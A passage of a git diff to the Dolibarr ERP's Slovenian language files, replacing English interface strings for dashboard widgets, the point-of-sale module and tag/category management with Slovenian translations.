+BoxDolibarrStateBoard=Statistika o glavnih poslovnih objektih v bazi podatkov +BoxLoginInformation=Podatki za prijavo +BoxLastRssInfos=Informacije RSS +BoxLastProducts=Najnovejši %s izdelki/storitve BoxProductsAlertStock=Opozorila na zalogah BoxLastProductsInContract=Najnovejši %s pogodbeni proizvodi/storitve -BoxLastSupplierBills=Latest Vendor invoices -BoxLastCustomerBills=Latest Customer invoices +BoxLastSupplierBills=Najnovejši prejeti računi +BoxLastCustomerBills=Najnovejši računi strank BoxOldestUnpaidCustomerBills=Najstarejši neplačani računi kupcev -BoxOldestUnpaidSupplierBills=Oldest unpaid vendor invoices +BoxOldestUnpaidSupplierBills=Najstarejši neplačani prejeti računi BoxLastProposals=Najnovejše komercialne ponudbe -BoxLastProspects=Nazadnje spremenjene možne stranke +BoxLastProspects=Nazadnje spremenjeni potencialni kupci BoxLastCustomers=Nazadnje spremenjene stranke BoxLastSuppliers=Nazadnje spremenjeni dobavitelji -BoxLastCustomerOrders=Latest sales orders +BoxLastCustomerOrders=Najnovejša prodajna naročila BoxLastActions=Zadnje akcije BoxLastContracts=Najnovejše pogodbe BoxLastContacts=Najnovejši stiki/naslovi BoxLastMembers=Najnovejši člani -BoxLastModifiedMembers=Latest modified members -BoxLastMembersSubscriptions=Latest member subscriptions +BoxLastModifiedMembers=Zadnji spremenjeni člani +BoxLastMembersSubscriptions=Najnovejše članske naročnine BoxFicheInter=Zadnje intervencije BoxCurrentAccounts=Odpri stanje računov -BoxTitleMemberNextBirthdays=Birthdays of this month (members) -BoxTitleMembersByType=Members by type -BoxTitleMembersSubscriptionsByYear=Members Subscriptions by year +BoxTitleMemberNextBirthdays=Rojstni dnevi tega meseca (člani) +BoxTitleMembersByType=Člani po vrsti in statusu +BoxTitleMembersSubscriptionsByYear=Naročnine članov po letih BoxTitleLastRssInfos=Zadnje %s novice od %s -BoxTitleLastProducts=Products/Services: last %s modified -BoxTitleProductsAlertStock=Products: stock alert +BoxTitleLastProducts=Izdelki/storitve: zadnja sprememba %s +BoxTitleProductsAlertStock=Izdelki: opozorilo o zalogi BoxTitleLastSuppliers=Zadnji %s zabeleženi dobavitelji -BoxTitleLastModifiedSuppliers=Vendors: last %s modified -BoxTitleLastModifiedCustomers=Customers: last %s modified -BoxTitleLastCustomersOrProspects=Najnovejše %s stranke in možne stranke -BoxTitleLastCustomerBills=Latest %s modified Customer invoices -BoxTitleLastSupplierBills=Latest %s modified Vendor invoices -BoxTitleLastModifiedProspects=Prospects: last %s modified +BoxTitleLastModifiedSuppliers=Dobavitelji: Zadnjih %s spremenjenih +BoxTitleLastModifiedCustomers=Stranke: nazadnje %s spremenjeno +BoxTitleLastCustomersOrProspects=Najnovejših %s kupcev in potencialnih kupcev +BoxTitleLastCustomerBills=Najnovejši %s spremenjeni računi strank +BoxTitleLastSupplierBills=Zadnjih %s sprememb prejetih računov +BoxTitleLastModifiedProspects=Obeti: nazadnje %s spremenjeno BoxTitleLastModifiedMembers=Zadnji %s člani BoxTitleLastFicheInter=Zadnje %s spremenjene intervencije -BoxTitleOldestUnpaidCustomerBills=Customer Invoices: oldest %s unpaid -BoxTitleOldestUnpaidSupplierBills=Vendor Invoices: oldest %s unpaid -BoxTitleCurrentAccounts=Open Accounts: balances -BoxTitleSupplierOrdersAwaitingReception=Supplier orders awaiting reception -BoxTitleLastModifiedContacts=Contacts/Addresses: last %s modified -BoxMyLastBookmarks=Bookmarks: latest %s +BoxTitleOldestUnpaidCustomerBills=Računi strank: najstarejši %s neplačan +BoxTitleOldestUnpaidSupplierBills=Prejeti računi: najstarejši %s neplačan +BoxTitleCurrentAccounts=Odprti računi: stanja +BoxTitleSupplierOrdersAwaitingReception=Naročila dobaviteljev čakajo na sprejem +BoxTitleLastModifiedContacts=Stiki/naslovi: nazadnje %s spremenjeno +BoxMyLastBookmarks=Zaznamki: najnovejši %s BoxOldestExpiredServices=Najstarejši dejavni potekla storitve +BoxOldestActions=Oldest events to do BoxLastExpiredServices=Zadnji %s najstarejših stikov z aktivnimi zapadlimi storitvami BoxTitleLastActionsToDo=Zadnja %s odprta opravila -BoxTitleLastContracts=Latest %s contracts which were modified -BoxTitleLastModifiedDonations=Latest %s donations which were modified -BoxTitleLastModifiedExpenses=Latest %s expense reports which were modified -BoxTitleLatestModifiedBoms=Latest %s BOMs which were modified -BoxTitleLatestModifiedMos=Latest %s Manufacturing Orders which were modified -BoxTitleLastOutstandingBillReached=Customers with maximum outstanding exceeded +BoxTitleOldestActionsToDo=Oldest %s events to do, not completed +BoxTitleLastContracts=Zadnje %s pogodbe, ki so bile spremenjene +BoxTitleLastModifiedDonations=Najnovejše donacije %s, ki so bile spremenjene +BoxTitleLastModifiedExpenses=Zadnja %s poročila o stroških, ki so bila spremenjena +BoxTitleLatestModifiedBoms=Najnovejše %s kosovnice, ki so bile spremenjene +BoxTitleLatestModifiedMos=Najnovejša %s proizvodna naročila, ki so bila spremenjena +BoxTitleLastOutstandingBillReached=Stranke s preseženim maksimalnim stanjem BoxGlobalActivity=Globalna aktivnost (računi, ponudbe, naročila) BoxGoodCustomers=Dobri kupci BoxTitleGoodCustomers=%s dobri kupci -BoxScheduledJobs=Scheduled jobs -BoxTitleFunnelOfProspection=Lead funnel -FailedToRefreshDataInfoNotUpToDate=Failed to refresh RSS flux. Latest successful refresh date: %s +BoxScheduledJobs=Načrtovana delovna mesta +BoxTitleFunnelOfProspection=Svinčeni lijak +FailedToRefreshDataInfoNotUpToDate=Osvežitev toka RSS ni uspela. Datum zadnje uspešne osvežitve: %s LastRefreshDate=Zadnji datum osvežitve podatkov NoRecordedBookmarks=Ni definiranih zaznamkov. ClickToAdd=Kliknite tukaj za dodajanje. NoRecordedCustomers=Ni vnesenih kupcev NoRecordedContacts=Ni vnesenih kontaktov NoActionsToDo=Ni planiranih aktivnosti -NoRecordedOrders=No recorded sales orders +NoRecordedOrders=Ni evidentiranih prodajnih naročil NoRecordedProposals=Ni vnesenih ponudb -NoRecordedInvoices=No recorded customer invoices -NoUnpaidCustomerBills=No unpaid customer invoices -NoUnpaidSupplierBills=No unpaid vendor invoices -NoModifiedSupplierBills=No recorded vendor invoices +NoRecordedInvoices=Ni evidentiranih računov strank +NoUnpaidCustomerBills=Brez neplačanih računov strank +NoUnpaidSupplierBills=Brez neplačanih prejetih računov +NoModifiedSupplierBills=Prejeti računi niso zabeleženi NoRecordedProducts=Ni vnesenih proizvodov/storitev NoRecordedProspects=Ni vnesenih ponudb NoContractedProducts=Ni pogodbenih proizvodov/storitev NoRecordedContracts=Ni vnesenih pogodb NoRecordedInterventions=Ni zabeleženih intervencij -BoxLatestSupplierOrders=Latest purchase orders -BoxLatestSupplierOrdersAwaitingReception=Latest Purchase Orders (with a pending reception) -NoSupplierOrder=No recorded purchase order -BoxCustomersInvoicesPerMonth=Customer Invoices per month -BoxSuppliersInvoicesPerMonth=Vendor Invoices per month -BoxCustomersOrdersPerMonth=Sales Orders per month -BoxSuppliersOrdersPerMonth=Vendor Orders per month +BoxLatestSupplierOrders=Najnovejša naročila +BoxLatestSupplierOrdersAwaitingReception=Najnovejša naročila (s čakajočim sprejemom) +NoSupplierOrder=Ni zabeleženega naročila +BoxCustomersInvoicesPerMonth=Računi strank na mesec +BoxSuppliersInvoicesPerMonth=Prejeti računi - mesec +BoxCustomersOrdersPerMonth=Prodajna naročila na mesec +BoxSuppliersOrdersPerMonth=Naročila - mesec BoxProposalsPerMonth=Ponudbe na mesec -NoTooLowStockProducts=No products are under the low stock limit -BoxProductDistribution=Products/Services Distribution -ForObject=On %s -BoxTitleLastModifiedSupplierBills=Vendor Invoices: last %s modified -BoxTitleLatestModifiedSupplierOrders=Vendor Orders: last %s modified -BoxTitleLastModifiedCustomerBills=Customer Invoices: last %s modified -BoxTitleLastModifiedCustomerOrders=Sales Orders: last %s modified -BoxTitleLastModifiedPropals=Latest %s modified proposals -BoxTitleLatestModifiedJobPositions=Latest %s modified job positions -BoxTitleLatestModifiedCandidatures=Latest %s modified job applications +NoTooLowStockProducts=Noben izdelek ni pod omejitvijo nizke zaloge +BoxProductDistribution=Distribucija izdelkov/storitev +ForObject=Na %s +BoxTitleLastModifiedSupplierBills=Prejeti računi: nazadnje %s spremenjeno +BoxTitleLatestModifiedSupplierOrders=Naročila: nazadnje %s spremenjeno +BoxTitleLastModifiedCustomerBills=Računi strank: nazadnje %s spremenjeno +BoxTitleLastModifiedCustomerOrders=Prodajna naročila: nazadnje %s spremenjeno +BoxTitleLastModifiedPropals=Najnovejši %s spremenjeni predlogi +BoxTitleLatestModifiedJobPositions=Najnovejša %s spremenjena delovna mesta +BoxTitleLatestModifiedCandidatures=Najnovejše %s spremenjene prošnje za zaposlitev ForCustomersInvoices=Računi za kupce ForCustomersOrders=Naročila kupcev ForProposals=Ponudbe LastXMonthRolling=Zadnji %s tekoči meseci ChooseBoxToAdd=Dodaj vključnik na nadzorno ploščo -BoxAdded=Widget was added in your dashboard -BoxTitleUserBirthdaysOfMonth=Birthdays of this month (users) -BoxLastManualEntries=Latest record in accountancy entered manually or without source document -BoxTitleLastManualEntries=%s latest record entered manually or without source document -NoRecordedManualEntries=No manual entries record in accountancy -BoxSuspenseAccount=Count accountancy operation with suspense account -BoxTitleSuspenseAccount=Number of unallocated lines -NumberOfLinesInSuspenseAccount=Number of line in suspense account -SuspenseAccountNotDefined=Suspense account isn't defined -BoxLastCustomerShipments=Last customer shipments -BoxTitleLastCustomerShipments=Latest %s customer shipments -NoRecordedShipments=No recorded customer shipment -BoxCustomersOutstandingBillReached=Customers with oustanding limit reached +BoxAdded=Pripomoček je bil dodan na vašo nadzorno ploščo +BoxTitleUserBirthdaysOfMonth=Rojstni dnevi tega meseca (uporabniki) +BoxLastManualEntries=Zadnji zapis v računovodstvu vnesen ročno ali brez izvornega dokumenta +BoxTitleLastManualEntries=%s najnovejši zapis, vnesen ročno ali brez izvornega dokumenta +NoRecordedManualEntries=V računovodstvu ni evidentiranih ročnih vnosov +BoxSuspenseAccount=Računovodsko poslovanje s prehodnim računom +BoxTitleSuspenseAccount=Število nedodeljenih vrstic +NumberOfLinesInSuspenseAccount=Številka vrstice v prehodnem računu +SuspenseAccountNotDefined=Priročni račun ni definiran +BoxLastCustomerShipments=Zadnje pošiljke strank +BoxTitleLastCustomerShipments=Najnovejše pošiljke %s strank +NoRecordedShipments=Ni zabeležene pošiljke strank +BoxCustomersOutstandingBillReached=Stranke z neporavnanim limitom so dosežene # Pages -UsersHome=Home users and groups -MembersHome=Home Membership -ThirdpartiesHome=Home Thirdparties -TicketsHome=Home Tickets -AccountancyHome=Home Accountancy -ValidatedProjects=Validated projects +UsersHome=Domači uporabniki in skupine +MembersHome=Domače članstvo +ThirdpartiesHome=Domače tretje osebe +TicketsHome=Domače vstopnice +AccountancyHome=Domače računovodstvo +ValidatedProjects=Potrjeni projekti diff --git a/htdocs/langs/sl_SI/cashdesk.lang b/htdocs/langs/sl_SI/cashdesk.lang index 503acc7468a..101d38d9d00 100644 --- a/htdocs/langs/sl_SI/cashdesk.lang +++ b/htdocs/langs/sl_SI/cashdesk.lang @@ -14,9 +14,9 @@ ShoppingCart=Nakupovalni voziček NewSell=Nova prodaja AddThisArticle=Dodaj ta proizvod RestartSelling=Vrni se na prodajo -SellFinished=Sale complete +SellFinished=Prodaja končana PrintTicket=Natisni račun -SendTicket=Send ticket +SendTicket=Pošlji vstopnico NoProductFound=Proizvod ne obstaja ProductFound=Najden proizvod NoArticle=Ni proizvoda @@ -26,111 +26,122 @@ Difference=Razlika TotalTicket=Skupaj račun NoVAT=Prodaja brez DDV Change=Prejeta razlika -BankToPay=Account for payment +BankToPay=Račun za plačilo ShowCompany=Prikaži podjetje ShowStock=Prikaži skladišče DeleteArticle=Kliknite za izbris tega artikla FilterRefOrLabelOrBC=Iskanje (Referenca/Naziv) -UserNeedPermissionToEditStockToUsePos=You ask to decrease stock on invoice creation, so user that uses POS needs to have permission to edit stock. +UserNeedPermissionToEditStockToUsePos=Pri ustvarjanju računa zahtevate zmanjšanje zaloge, zato mora imeti uporabnik, ki uporablja POS, dovoljenje za urejanje zaloge. DolibarrReceiptPrinter=Dolibarr tiskalnik računov -PointOfSale=Point of Sale +PointOfSale=Prodajno mesto PointOfSaleShort=POS -CloseBill=Close Bill -Floors=Floors -Floor=Floor -AddTable=Add table -Place=Place -TakeposConnectorNecesary='TakePOS Connector' required -OrderPrinters=Add a button to send the order to some given printers, without payment (for example to send an order to a kitchen) -NotAvailableWithBrowserPrinter=Not available when printer for receipt is set to browser -SearchProduct=Search product +CloseBill=Zapri Bill +Floors=Tla +Floor=Tla +AddTable=Dodaj tabelo +Place=Mesto +TakeposConnectorNecesary=Potreben je 'TakePOS Connector' +OrderPrinters=Dodajte gumb za pošiljanje naročila določenim tiskarnam brez plačila (na primer za pošiljanje naročila v kuhinjo) +NotAvailableWithBrowserPrinter=Ni na voljo, ko je tiskalnik za potrdila nastavljen na brskalnik +SearchProduct=Išči izdelek Receipt=Potrdilo -Header=Header -Footer=Footer -AmountAtEndOfPeriod=Amount at end of period (day, month or year) -TheoricalAmount=Theorical amount -RealAmount=Real amount -CashFence=Cash desk closing -CashFenceDone=Cash desk closing done for the period +Header=Glava +Footer=Noga +AmountAtEndOfPeriod=Znesek ob koncu obdobja (dan, mesec ali leto) +TheoricalAmount=Teoretični znesek +RealAmount=Realni znesek +CashFence=Zapiranje blagajne +CashFenceDone=Zapiranje blagajne opravljeno za obdobje NbOfInvoices=Število računov -Paymentnumpad=Type of Pad to enter payment -Numberspad=Numbers Pad -BillsCoinsPad=Coins and banknotes Pad -DolistorePosCategory=TakePOS modules and other POS solutions for Dolibarr -TakeposNeedsCategories=TakePOS needs at least one product categorie to work -TakeposNeedsAtLeastOnSubCategoryIntoParentCategory=TakePOS needs at least 1 product category under the category %s to work -OrderNotes=Can add some notes to each ordered items -CashDeskBankAccountFor=Default account to use for payments in -NoPaimementModesDefined=No paiment mode defined in TakePOS configuration -TicketVatGrouped=Group VAT by rate in tickets|receipts -AutoPrintTickets=Automatically print tickets|receipts -PrintCustomerOnReceipts=Print customer on tickets|receipts -EnableBarOrRestaurantFeatures=Enable features for Bar or Restaurant -ConfirmDeletionOfThisPOSSale=Do your confirm the deletion of this current sale ? -ConfirmDiscardOfThisPOSSale=Do you want to discard this current sale ? +Paymentnumpad=Vrsta ploščice za vnos plačila +Numberspad=Številčna ploščica +BillsCoinsPad=Podloga za kovance in bankovce +DolistorePosCategory=TakePOS moduli in druge POS rešitve za Dolibarr +TakeposNeedsCategories=TakePOS za delovanje potrebuje vsaj eno kategorijo izdelkov +TakeposNeedsAtLeastOnSubCategoryIntoParentCategory=TakePOS za delovanje potrebuje vsaj 1 kategorijo izdelkov v kategoriji %s +OrderNotes=Vsakemu naročenemu artiklu lahko dodate opombe +CashDeskBankAccountFor=Privzeti račun za uporabo za plačila +NoPaimementModesDefined=V konfiguraciji TakePOS ni določen način plačila +TicketVatGrouped=Združite DDV po stopnji v vstopnicah | potrdilih +AutoPrintTickets=Samodejno natisnite potrdila o vstopnicah +PrintCustomerOnReceipts=Natisnite kupca na vstopnici | potrdila +EnableBarOrRestaurantFeatures=Omogoči funkcije za bar ali restavracijo +ConfirmDeletionOfThisPOSSale=Ali potrjujete izbris te trenutne prodaje? +ConfirmDiscardOfThisPOSSale=Ali želite zavreči to trenutno prodajo? History=Zgodovina -ValidateAndClose=Validate and close +ValidateAndClose=Potrdite in zaprite Terminal=Terminal -NumberOfTerminals=Number of Terminals -TerminalSelect=Select terminal you want to use: -POSTicket=POS Ticket -POSTerminal=POS Terminal -POSModule=POS Module -BasicPhoneLayout=Use basic layout for phones -SetupOfTerminalNotComplete=Setup of terminal %s is not complete -DirectPayment=Direct payment -DirectPaymentButton=Add a "Direct cash payment" button -InvoiceIsAlreadyValidated=Invoice is already validated -NoLinesToBill=No lines to bill -CustomReceipt=Custom Receipt -ReceiptName=Receipt Name -ProductSupplements=Manage supplements of products -SupplementCategory=Supplement category -ColorTheme=Color theme -Colorful=Colorful +NumberOfTerminals=Število terminalov +TerminalSelect=Izberite terminal, ki ga želite uporabiti: +POSTicket=POS vstopnica +POSTerminal=POS terminal +POSModule=POS modul +BasicPhoneLayout=Uporabite osnovno postavitev za telefone +SetupOfTerminalNotComplete=Nastavitev terminala %s ni dokončana +DirectPayment=Neposredno plačilo +DirectPaymentButton=Dodajte gumb »Neposredno gotovinsko plačilo«. +InvoiceIsAlreadyValidated=Račun je že potrjen +NoLinesToBill=Ni vrstic za obračun +CustomReceipt=Račun po meri +ReceiptName=Ime potrdila +ProductSupplements=Upravljajte dodatke k izdelkom +SupplementCategory=Dodatna kategorija +ColorTheme=Barvna tema +Colorful=Barvita HeadBar=Head Bar -SortProductField=Field for sorting products +SortProductField=Polje za sortiranje izdelkov Browser=Iskalnik -BrowserMethodDescription=Simple and easy receipt printing. Only a few parameters to configure the receipt. Print via browser. -TakeposConnectorMethodDescription=External module with extra features. Posibility to print from the cloud. -PrintMethod=Print method -ReceiptPrinterMethodDescription=Powerful method with a lot of parameters. Full customizable with templates. The server hosting the application can't be in the Cloud (must be able to reach the printers in your network). -ByTerminal=By terminal -TakeposNumpadUsePaymentIcon=Use icon instead of text on payment buttons of numpad -CashDeskRefNumberingModules=Numbering module for POS sales -CashDeskGenericMaskCodes6 =
      {TN} tag is used to add the terminal number -TakeposGroupSameProduct=Group same products lines -StartAParallelSale=Start a new parallel sale -SaleStartedAt=Sale started at %s -ControlCashOpening=Open the "Control cash" popup when opening the POS -CloseCashFence=Close cash desk control -CashReport=Cash report -MainPrinterToUse=Main printer to use -OrderPrinterToUse=Order printer to use -MainTemplateToUse=Main template to use -OrderTemplateToUse=Order template to use -BarRestaurant=Bar Restaurant -AutoOrder=Order by the customer himself -RestaurantMenu=Menu -CustomerMenu=Customer menu -ScanToMenu=Scan QR code to see the menu -ScanToOrder=Scan QR code to order -Appearance=Appearance -HideCategoryImages=Hide Category Images -HideProductImages=Hide Product Images -NumberOfLinesToShow=Number of lines of images to show -DefineTablePlan=Define tables plan -GiftReceiptButton=Add a "Gift receipt" button -GiftReceipt=Gift receipt -ModuleReceiptPrinterMustBeEnabled=Module Receipt printer must have been enabled first -AllowDelayedPayment=Allow delayed payment -PrintPaymentMethodOnReceipts=Print payment method on tickets|receipts -WeighingScale=Weighing scale -ShowPriceHT = Display the column with the price excluding tax (on screen) -ShowPriceHTOnReceipt = Display the column with the price excluding tax (on the receipt) -CustomerDisplay=Customer display -SplitSale=Split sale -PrintWithoutDetailsButton=Add "Print without details" button -PrintWithoutDetailsLabelDefault=Line label by default on printing without details -PrintWithoutDetails=Print without details -YearNotDefined=Year is not defined +BrowserMethodDescription=Enostavno in enostavno tiskanje računov. Samo nekaj parametrov za konfiguracijo računa. Tiskanje prek brskalnika. +TakeposConnectorMethodDescription=Zunanji modul z dodatnimi funkcijami. Možnost tiskanja iz oblaka. +PrintMethod=Način tiskanja +ReceiptPrinterMethodDescription=Zmogljiva metoda z veliko parametri. Popolnoma prilagodljiv s predlogami. Strežnik, ki gosti aplikacijo, ne more biti v oblaku (mora imeti možnost doseči tiskalnike v vašem omrežju). +ByTerminal=S terminalom +TakeposNumpadUsePaymentIcon=Uporabite ikono namesto besedila na gumbih za plačilo na številčnici +CashDeskRefNumberingModules=Modul oštevilčenja za POS prodajo +CashDeskGenericMaskCodes6 =
      {TN} oznaka se uporablja za dodajanje številke terminala +TakeposGroupSameProduct=Združi iste linije izdelkov +StartAParallelSale=Začnite novo vzporedno prodajo +SaleStartedAt=Prodaja se je začela pri %s +ControlCashOpening=Ko odprete POS, odprite pojavno okno "Kontrolna blagajna". +CloseCashFence=Zapri nadzor blagajne +CashReport=Blagajniško poročilo +MainPrinterToUse=Glavni tiskalnik za uporabo +OrderPrinterToUse=Naročite tiskalnik za uporabo +MainTemplateToUse=Glavna predloga za uporabo +OrderTemplateToUse=Predloga naročila za uporabo +BarRestaurant=Bar Restavracija +AutoOrder=Naročilo naročnik sam +RestaurantMenu=meni +CustomerMenu=Meni za stranke +ScanToMenu=Skenirajte kodo QR, da vidite meni +ScanToOrder=Za naročilo skenirajte kodo QR +Appearance=Videz +HideCategoryImages=Skrij slike kategorij +HideProductImages=Skrij slike izdelkov +NumberOfLinesToShow=Število vrstic slik za prikaz +DefineTablePlan=Določite načrt tabel +GiftReceiptButton=Dodajte gumb »Potvrda o prejemu darila«. +GiftReceipt=Darilni račun +ModuleReceiptPrinterMustBeEnabled=Tiskalnik računov modula mora biti najprej omogočen +AllowDelayedPayment=Dovolite odloženo plačilo +PrintPaymentMethodOnReceipts=Natisnite način plačila na vstopnicah | +WeighingScale=Tehtnica +ShowPriceHT = Prikaz stolpca s ceno brez davka (na zaslonu) +ShowPriceHTOnReceipt = Prikaz stolpca s ceno brez davka (na računu) +CustomerDisplay=Zaslon za stranke +SplitSale=Razprodaja +PrintWithoutDetailsButton=Dodajte gumb »Natisni brez podrobnosti«. +PrintWithoutDetailsLabelDefault=Oznaka vrstice je privzeta pri tiskanju brez podrobnosti +PrintWithoutDetails=Tisk brez podrobnosti +YearNotDefined=Leto ni definirano +TakeposBarcodeRuleToInsertProduct=Pravilo črtne kode za vstavljanje izdelka +TakeposBarcodeRuleToInsertProductDesc=Pravilo za ekstrahiranje reference izdelka + količine iz skenirane črtne kode.
      Če je polje prazno (privzeta vrednost), bo aplikacija uporabila skenirano celotno črtno kodo za iskanje izdelka.

      If defined, syntax must be:
      ref:NB+qu:NB+qd:NB+other:NB
      where NB is the number of characters to use to extract data from the scanned barcode with:
      • ref : product reference
      • qu : quantity to set when inserting item (units)
      • qd : quantity to set when inserting item (decimals)
      • other : others characters
      +AlreadyPrinted=Že natisnjeno +HideCategories=Skrij kategorije +HideStockOnLine=Skrij zalogo na spletu +ShowOnlyProductInStock=Pokažite izdelke na zalogi +ShowCategoryDescription=Pokaži opis kategorije +ShowProductReference=Prikaži referenco izdelkov +UsePriceHT=Cena uporabe brez davki in ne cena vklj. davki +TerminalName=Terminal %s +TerminalNameDesc=Ime terminala diff --git a/htdocs/langs/sl_SI/categories.lang b/htdocs/langs/sl_SI/categories.lang index 1bb1f417b81..bea46a45420 100644 --- a/htdocs/langs/sl_SI/categories.lang +++ b/htdocs/langs/sl_SI/categories.lang @@ -1,25 +1,25 @@ # Dolibarr language file - Source file is en_US - categories Rubrique=Značka/kategorija Rubriques=Značke/kategorije -RubriquesTransactions=Tags/Categories of transactions +RubriquesTransactions=Oznake/kategorije transakcij categories=značke/kategorije -NoCategoryYet=No tag/category of this type has been created +NoCategoryYet=Ustvarjena ni bila nobena oznaka/kategorija te vrste In=V AddIn=Dodaj v modify=spremeni Classify=Razvrsti CategoriesArea=Področje značk/kategorij -ProductsCategoriesArea=Product/Service tags/categories area -SuppliersCategoriesArea=Vendor tags/categories area -CustomersCategoriesArea=Customer tags/categories area -MembersCategoriesArea=Member tags/categories area -ContactsCategoriesArea=Contact tags/categories area -AccountsCategoriesArea=Bank account tags/categories area -ProjectsCategoriesArea=Project tags/categories area -UsersCategoriesArea=User tags/categories area -SubCats=Sub-categories +ProductsCategoriesArea=Območje oznak izdelkov/storitev/kategorij +SuppliersCategoriesArea=Skupine dobaviteljev +CustomersCategoriesArea=Področje oznak/kategorij strank +MembersCategoriesArea=Območje oznak/kategorij članov +ContactsCategoriesArea=Področje kontaktnih oznak/kategorij +AccountsCategoriesArea=Območje oznak/kategorij bančnih računov +ProjectsCategoriesArea=Območje oznak/kategorij projekta +UsersCategoriesArea=Področje uporabniških oznak/kategorij +SubCats=Podkategorije CatList=Seznam značk/kategorij -CatListAll=List of tags/categories (all types) +CatListAll=Seznam oznak/kategorij (vse vrste) NewCategory=Nova značka/kategorija ModifCat=Spremeni značko/kategorijo CatCreated=Kreirana značka/kategorija @@ -28,73 +28,78 @@ CreateThisCat=Kreiraj to značko/kategorijo NoSubCat=Ni podkategorije. SubCatOf=Podkategorija FoundCats=Najdi značke/kategorije -ImpossibleAddCat=Impossible to add the tag/category %s +ImpossibleAddCat=Oznake/kategorije %s ni mogoče dodati WasAddedSuccessfully=%s je bil uspešno dodan. ObjectAlreadyLinkedToCategory=Element je že povezan na to značko/kategorijo. ProductIsInCategories=Izdelek / storitev je povezana z naslednjimi oznakami / kategorijami -CompanyIsInCustomersCategories=Ta tretja stranka je povezana z naslednjimi strankami / možnosti Oznake / kategorije -CompanyIsInSuppliersCategories=This third party is linked to following vendors tags/categories +CompanyIsInCustomersCategories=Partner je povezan z naslednjimi skupinami kupcev/potencialnih kupcev +CompanyIsInSuppliersCategories=Dobavitelj je povezan z naslednjimi skupinami MemberIsInCategories=Ta član je povezana z naslednjimi člani Oznake / kategorije ContactIsInCategories=Ta kontakt je povezan z naslednjimi značkami/kategorijami ProductHasNoCategory=Ta proizvod/storitev ni vključen v nobenoznačko/ kategorijo -CompanyHasNoCategory=This third party is not in any tags/categories +CompanyHasNoCategory=Partner ni v nobeni oznaki/kategoriji MemberHasNoCategory=Ta član ni v nobeni znački/kategoriji ContactHasNoCategory=Ta kontakt ni v nobeni znački/kategoriji -ProjectHasNoCategory=This project is not in any tags/categories +ProjectHasNoCategory=Ta projekt ni v nobeni oznaki/kategoriji ClassifyInCategory=Dodaj značko / kategorijo +RemoveCategory=Odstrani kategorijo NotCategorized=Brez značke/kategorije CategoryExistsAtSameLevel=Kategorija s to referenco že obstaja ContentsVisibleByAllShort=Vsebina vidna vsem ContentsNotVisibleByAllShort=Vsebina ni vidna vsem DeleteCategory=Briši značko/kategorijo -ConfirmDeleteCategory=Are you sure you want to delete this tag/category? +ConfirmDeleteCategory=Ali ste prepričani, da želite izbrisati to oznako/kategorijo? NoCategoriesDefined=Ni določena nobena značka/kategorija -SuppliersCategoryShort=Vendors tag/category +SuppliersCategoryShort=Skupina dobavitelja CustomersCategoryShort=Stranke značka/kategorija ProductsCategoryShort=Proizvodi značka/kategorija MembersCategoryShort=Člani značka/kategorija -SuppliersCategoriesShort=Vendors tags/categories +SuppliersCategoriesShort=Skupine dobaviteljev CustomersCategoriesShort=Značke/kategorije kupcev -ProspectsCategoriesShort=Značke/kategorije možnih strank -CustomersProspectsCategoriesShort=Cust./Prosp. tags/categories +ProspectsCategoriesShort=Skupine potencialnih kupcev +CustomersProspectsCategoriesShort=Cust./Prosp. oznake/kategorije ProductsCategoriesShort=Značke/kategorije proizvodov MembersCategoriesShort=Značke/kategorije članov ContactCategoriesShort=Značke/kategorije kontaktov -AccountsCategoriesShort=Accounts tags/categories -ProjectsCategoriesShort=Projects tags/categories -UsersCategoriesShort=Users tags/categories -StockCategoriesShort=Warehouse tags/categories -ThisCategoryHasNoItems=This category does not contain any items. +AccountsCategoriesShort=Oznake/kategorije računov +ProjectsCategoriesShort=Oznake/kategorije projektov +UsersCategoriesShort=Uporabniške oznake/kategorije +StockCategoriesShort=Skladiščne oznake/kategorije +ThisCategoryHasNoItems=Ta kategorija ne vsebuje nobenih elementov. CategId=ID značke/kategorije -ParentCategory=Parent tag/category -ParentCategoryLabel=Label of parent tag/category -CatSupList=List of vendors tags/categories -CatCusList=List of customers/prospects tags/categories +ParentCategory=Nadrejena oznaka/kategorija +ParentCategoryID=ID nadrejene oznake/kategorije +ParentCategoryLabel=Oznaka nadrejene oznake/kategorije +CatSupList=Seznam skupin dobaviteljev +CatCusList=Seznam strank/potencialnih oznak/kategorij CatProdList=Seznam značk/kategorij proizvodov CatMemberList=Seznam značk/kategorij članov -CatContactList=List of contacts tags/categories -CatProjectsList=List of projects tags/categories -CatUsersList=List of users tags/categories -CatSupLinks=Links between vendors and tags/categories +CatContactList=Seznam oznak/kategorij stikov +CatProjectsList=Seznam oznak/kategorij projektov +CatUsersList=Seznam uporabniških oznak/kategorij +CatSupLinks=Povezave skupin z dobavitelji CatCusLinks=Povezave med kupci/možnimi strankami in značkami/kategorijami -CatContactsLinks=Links between contacts/addresses and tags/categories +CatContactsLinks=Povezave med stiki/naslovi in oznakami/kategorijami CatProdLinks=Povezave med proizvodi/storitvami in značkami/kategorijami CatMembersLinks=Povezave med člani in značkami/kategorijami -CatProjectsLinks=Links between projects and tags/categories -CatUsersLinks=Links between users and tags/categories +CatProjectsLinks=Povezave med projekti in oznakami/kategorijami +CatUsersLinks=Povezave med uporabniki in oznakami/kategorijami DeleteFromCat=Odstrani iz značk/kategorije ExtraFieldsCategories=Koplementarni atributi CategoriesSetup=Nastavitev značk/kategorij CategorieRecursiv=Avtomatsko poveži z nadrejeno značko/kategorijo -CategorieRecursivHelp=If option is on, when you add a product into a subcategory, product will also be added into the parent category. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Dodaj sledeči produkt/storitev -AddCustomerIntoCategory=Assign category to customer -AddSupplierIntoCategory=Assign category to supplier +AddCustomerIntoCategory=Dodelite kategorijo stranki +AddSupplierIntoCategory=Dodelite kategorijo dobavitelju +AssignCategoryTo=Dodelite kategorijo ShowCategory=Pokaži značko/kategorijo ByDefaultInList=Privzeto na seznamu -ChooseCategory=Choose category -StocksCategoriesArea=Warehouse Categories -ActionCommCategoriesArea=Event Categories -WebsitePagesCategoriesArea=Page-Container Categories -KnowledgemanagementsCategoriesArea=KM article Categories -UseOrOperatorForCategories=Use 'OR' operator for categories +ChooseCategory=Izberite kategorijo +StocksCategoriesArea=Skladiščne kategorije +TicketsCategoriesArea=Kategorije vstopnic +ActionCommCategoriesArea=Kategorije dogodkov +WebsitePagesCategoriesArea=Kategorije vsebnika strani +KnowledgemanagementsCategoriesArea=KM članek Kategorije +UseOrOperatorForCategories=Za kategorije uporabite operator 'ALI' +AddObjectIntoCategory=Dodajte predmet v kategorijo diff --git 